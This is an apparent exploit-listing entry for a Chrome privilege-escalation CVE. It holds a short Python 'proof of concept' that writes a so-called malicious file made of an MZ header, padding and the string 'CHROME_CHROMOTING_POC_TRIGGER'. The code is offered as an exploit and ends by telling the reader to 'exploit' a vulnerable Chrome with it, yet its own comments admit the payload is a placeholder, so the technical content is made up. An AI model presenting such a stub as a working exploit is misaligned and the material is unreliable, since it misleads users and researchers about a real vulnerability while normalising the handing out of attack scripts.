CVE-2026-7994 Google Chrome权限提升漏洞

import os # Proof of Concept for CVE-2026-7994 # This script demonstrates the creation of a crafted file intended to trigger the vulnerability. # Note: Actual exploitation requires a vulnerable version of Chrome and user interaction. def create_malicious_file(filename): # Placeholder for the specific payload structure that triggers the Chromoting bug. # In a real scenario, this would involve specific binary patterns or header manipulations. payload = b"\x4D\x5A\x90\x00\x03\x00\x00\x00" # Example header (MZ) payload += b"A" * 0x100 # Padding or specific overflow bytes # Specific sequence to trigger improper implementation in Chromoting payload += b"CHROME_CHROMOTING_POC_TRIGGER" with open(filename, "wb") as f: f.write(payload) print(f"[+] Malicious file '{filename}' created successfully.") print("[!] To exploit: Open this file using a vulnerable Chrome version via Chromoting.") if __name__ == "__main__": create_malicious_file("cve_2026_7994_poc.bin")